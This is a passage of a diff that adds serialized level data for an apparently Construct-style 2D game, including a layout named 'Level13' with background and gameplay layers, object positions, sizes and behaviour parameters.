+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 189,
+ 417,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 362,
+ 6291,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 740.5921630859375,
+ 416.3991088867188,
+ 0,
+ 97,
+ 100,
+ 0,
+ 0,
+ 1,
+ 0.4948453605175018,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 363,
+ 6292,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 406.0570068359375,
+ 23.70199966430664,
+ 0,
+ 123.2936859130859,
+ 34.55959320068359,
+ 0,
+ 0,
+ 1,
+ 0.5454545617103577,
+ 0.5135135054588318,
+ 0,
+ 0,
+ []
+ ],
+ 527,
+ 5658,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 401.0565795898438,
+ 61.70208740234375,
+ 0,
+ 107,
+ 36,
+ 0,
+ 0,
+ 1,
+ 0.5046728849411011,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 326,
+ 4534,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 388.0565795898438,
+ -1.297904968261719,
+ 0,
+ 414,
+ 59,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 355,
+ 4535,
+ [],
+ [],
+ [
+ 128,
+ 128,
+ "1234567890",
+ "0",
+ 0.45,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -30,
+ 0
+ ]
+ ],
+ [
+ [
+ 27.05657958984375,
+ 21.70209503173828,
+ 0,
+ 42.14814376831055,
+ 37.89653015136719,
+ 0,
+ 0,
+ 1,
+ 0.4888888895511627,
+ 0.4210526347160339,
+ 0,
+ 0,
+ []
+ ],
+ 381,
+ 4536,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 119.0565795898438,
+ 24.70209503173828,
+ 0,
+ 39,
+ 39,
+ 0,
+ 0,
+ 1,
+ 0.7179487347602844,
+ 0.5128205418586731,
+ 0,
+ 0,
+ []
+ ],
+ 450,
+ 4537,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 75.05657958984375,
+ 24.70209503173828,
+ 0,
+ 36,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.6388888955116272,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 446,
+ 4538,
+ [],
+ [
+ []
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 400.0565795898438,
+ 441.7021179199219,
+ 0,
+ 228,
+ 61,
+ 0,
+ 0,
+ 1,
+ 0.5043859481811523,
+ 0.5081967115402222,
+ 0,
+ 0,
+ []
+ ],
+ 327,
+ 4539,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 872,
+ -110,
+ 0,
+ 100,
+ 100,
+ 0,
+ 2.381202459335327,
+ 1,
+ 0,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 538,
+ 6605,
+ [],
+ [],
+ [
+ 50,
+ 80,
+ 0,
+ 300,
+ 16,
+ 100,
+ 0,
+ 0,
+ 0,
+ 0,
+ 20,
+ 0,
+ 0,
+ 0,
+ 0,
+ 800,
+ 0,
+ 0,
+ 10
+ ]
+ ],
+ [
+ [
+ 404,
+ 241.5,
+ 0,
+ 858,
+ 525,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 357,
+ 6288,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Collisionsidle",
+ 8,
+ 495522617438117,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [],
+ []
+ ],
+ [
+ "Rotate Screen",
+ 9,
+ 458373051049480,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0,
+ 0,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 400,
+ 240,
+ 0,
+ 800,
+ 480,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 62,
+ 1219,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ]
+ ],
+ [],
+ []
+ ],
+ [
+ "Level13",
+ 5200,
+ 1500,
+ false,
+ "Gameplay1",
+ 622700075540808,
+ [
+ [
+ "fondo",
+ 0,
+ 476595212713012,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.699999988079071,
+ 0.800000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -109,
+ -198,
+ 0,
+ 10112,
+ 1814,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 306,
+ 4566,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Background5",
+ 1,
+ 823301237174020,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -24,
+ -187,
+ 0,
+ 7497,
+ 573,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 331,
+ 4568,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ -678,
+ 625,
+ 0,
+ 141,
+ 136,
+ 0,
+ 0,
+ 1,
+ 0.5035461187362671,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 349,
+ 4569,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 5222,
+ 732,
+ 0,
+ 40,
+ 1510,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 4570,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -21,
+ 620,
+ 0,
+ 40,
+ 1248,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 353,
+ 4571,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 0",
+ 2,
+ 703717022732858,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.05000000074505806,
+ 0.300000011920929,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 296,
+ 104,
+ 0,
+ 250,
+ 250,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 309,
+ 4572,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "fondo2",
+ 3,
+ 255289746797188,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 0.800000011920929,
+ 0.8500000238418579,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -240,
+ 2808,
+ 0,
+ 10152,
+ 594,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 307,
+ 4573,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Layer 1",
+ 4,
+ 715782279819839,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ -292,
+ 2597,
+ 0,
+ 10152,
+ 320,
+ 0,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 0,
+ []
+ ],
+ 308,
+ 4574,
+ [],
+ [],
+ [
+ 0,
+ 0
+ ]
+ ],
+ [
+ [
+ 1309,
+ 742,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 4575,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 503,
+ 715,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 4576,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2844,
+ 479,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 4577,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4033,
+ 637,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 4578,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5022,
+ 787,
+ 0,
+ 388.008056640625,
+ 125.8404541015625,
+ 0,
+ 0,
+ 1,
+ 0.4386694431304932,
+ 0.5064102411270142,
+ 0,
+ 0,
+ []
+ ],
+ 479,
+ 4579,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1104,
+ 422,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4584,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1105,
+ 344,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4585,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1106,
+ 265,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4586,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1107,
+ 186,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4587,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1107,
+ 107,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4588,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1108,
+ 29,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4592,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1109,
+ -50,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4593,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 246,
+ 621,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4595,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1246,
+ 807,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4596,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2485,
+ 610,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4597,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 943,
+ 980,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4598,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1683,
+ 991,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4599,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1891,
+ 914,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4601,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2214,
+ 999,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4611,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2650,
+ 925,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4612,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2499,
+ 1043,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4613,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2959,
+ 980,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4614,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3507,
+ 832,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4615,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4603,
+ 892,
+ 0,
+ 422,
+ 211,
+ 0,
+ 0,
+ 1,
+ 0.3838862478733063,
+ 0.7535545229911804,
+ 0,
+ 0,
+ []
+ ],
+ 530,
+ 4616,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3497,
+ 1293,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4617,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 653,
+ 1234,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4618,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4621,
+ 1292,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4619,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1426,
+ 772,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4620,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 364,
+ 1014,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4665,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5043,
+ 1087,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4666,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3917,
+ 968,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4667,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4284,
+ 972,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4668,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3164,
+ 346,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4669,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2701,
+ 330,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4670,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1385,
+ 1110,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4676,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -14,
+ 844,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4677,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1867,
+ 1288,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4678,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2486,
+ 1244,
+ 0,
+ 422,
+ 461,
+ 0,
+ 0,
+ 1,
+ 0.521327018737793,
+ 0.9544468522071838,
+ 0,
+ 0,
+ []
+ ],
+ 482,
+ 4679,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ 5,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1726.505737304688,
+ 761.46533203125,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4581,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1940.1630859375,
+ 697.4612426757812,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4582,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2152,
+ 643,
+ 0,
+ 86,
+ 88,
+ 0,
+ 0,
+ 1,
+ 0.5116279125213623,
+ 0.5113636255264282,
+ 0,
+ 0,
+ []
+ ],
+ 485,
+ 4583,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ]
+ ],
+ []
+ ],
+ [
+ "Game",
+ 5,
+ 673526415255262,
+ true,
+ [
+ 255,
+ 255,
+ 255
+ ],
+ true,
+ 1,
+ 1,
+ 1,
+ false,
+ false,
+ 1,
+ 0,
+ 0,
+ [
+ [
+ [
+ 5031,
+ 837,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4680,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4787,
+ 834,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4681,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4471,
+ 657,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4682,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4064,
+ 657,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4688,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3739,
+ 659,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4689,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3397.0888671875,
+ 795.865966796875,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4690,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3226,
+ 791,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4691,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3227.89111328125,
+ 324.9150695800781,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4692,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3062.00732421875,
+ 320.3266296386719,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4693,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3118.701416015625,
+ 507.8339233398438,
+ 0,
+ 98,
+ 54,
+ 0,
+ 0,
+ 1,
+ 0.5306122303009033,
+ 0.8888888955116272,
+ 0,
+ 0,
+ []
+ ],
+ 364,
+ 4694,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 2,
+ 0,
+ 0,
+ 0,
+ -7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2937.47265625,
+ 509.80615234375,
+ 0,
+ 70,
+ 38,
+ 0,
+ 0,
+ 1,
+ 0.5428571701049805,
+ 0.9473684430122375,
+ 0,
+ 0,
+ []
+ ],
+ 533,
+ 4695,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 7,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2517.808349609375,
